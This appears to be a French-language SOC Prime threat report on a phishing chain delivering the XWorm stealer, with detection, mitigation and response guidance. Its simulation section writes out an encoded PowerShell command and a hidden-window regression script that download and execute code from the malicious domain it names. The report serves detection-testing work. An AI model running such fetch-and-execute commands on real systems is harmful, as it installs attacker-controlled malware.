SOC Prime Bias: Moyen

06 Feb 2026 15:26 UTC

Script Malveillant Apportant Plus de Malveillance

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Script Malveillant Apportant Plus de Malveillance
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un email de phishing livre une pièce jointe malveillante contenant un script BAT qui lance PowerShell pour télécharger une charge utile encodée en Base64. Après décodage, la charge utile se résout à XWorm, un stealer .NET qui profile l’hôte et exfiltre les données collectées via un bot Telegram. La persistance est établie en créant une tâche planifiée qui exécute à plusieurs reprises l’exécutable déposé. L’opération repose sur plusieurs éléments d’infrastructure, y compris un leurre d’hébergement d’image factice et au moins une IP compromise utilisée pour la mise en scène de la charge utile.

Investigation

L’examen du script BAT a révélé une ligne de commande PowerShell qui récupère un fichier ressemblant à un PNG depuis un domaine contrôlé par l’attaquant. Le contenu Base64 intégré est ensuite nettoyé, inversé et décodé pour reconstruire l’exécutable .NET. L’analyse binaire a montré que le logiciel malveillant enregistre une tâche planifiée nommée Chromiumx2 et utilise l’API de Telegram pour le commandement et le contrôle et l’exfiltration de données. Les enquêteurs ont extrait des indicateurs de réseau clés, y compris le domaine d’hébergement, l’adresse IP associée, et le point de terminaison de l’API Telegram référencé pendant l’exécution.

Atténuation

Empêcher l’exécution de contenu BAT et PowerShell non confirmé provenant de pièces jointes d’emails ou de répertoires de téléchargement utilisateur. Appliquer une liste blanche d’applications pour restreindre la création de tâches planifiées et signaler les nouvelles tâches suspectes. Surveiller et, lorsque possible, restreindre l’accès sortant aux points de terminaison de l’API Telegram et bloquer les domaines malveillants identifiés aux couches DNS/proxy. Maintenir les détections d’endpoint à jour avec les nouveaux indicateurs observés et les modèles de téléchargement basés sur des scripts.

Réponse

Isoler les endpoints où la tâche planifiée Chromiumx2 ou Chromiumx2.exe est observée. Supprimer la tâche planifiée, effacer le binaire malveillant, et collecter les artefacts (script, charge utile décodée, XML de tâche, et journaux pertinents) pour la délimitation forensique. Explorer l’environnement pour le même nom de tâche, comportement de décodage PowerShell similaire, et trafic piloté par Telegram. Réinitialiser les identifiants potentiellement exposés et informer les utilisateurs de la pièce jointe de phishing pour réduire les exécutions répétées.

Flux d’Attaque

Exécution de Simulation

Prérequis : Le contrôle préalable de télémétrie et de base doit avoir réussi.

  • Narratif de l’Attaque et Commandes :
    L’attaquant veut télécharger et exécuter une charge utile malveillante depuis un serveur web compromis. Pour échapper à la détection par signature classique, il intègre toute la logique de téléchargement et exécution dans une seule chaîne Base64 et invoque PowerShell avec -EncodedCommand. La commande référence l’URL exacte que la règle de détection surveille (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Encoder la charge utile malveillante (un téléchargeur simple qui exécute le script reçu) :

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      B64 résultant (exemple) : SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (truncated).

    2. Exécuter la commande encodée :

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Cette seule ligne génère la télémétrie exacte que la règle Sigma attend : un processus PowerShell, le -EncodedCommand drapeau, et l’URL malveillante à l’intérieur du bloc de script décodé.

  • Script de Test de Régression :

    #-------------------------------------------------
    # Script de régression pour déclencher la règle de détection
    #-------------------------------------------------
    # 1. Construire la charge utile malveillante
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Exécuter la charge utile via une commande PowerShell encodée
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Commande encodée malveillante exécutée."
    #-------------------------------------------------
  • Commandes de Nettoyage :

    # Supprimer tout fichier transitoire (aucun attendu car la charge utile est diffusée directement)
    # Terminer tous les processus PowerShell cachés lancés par le test
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Nettoyage terminé."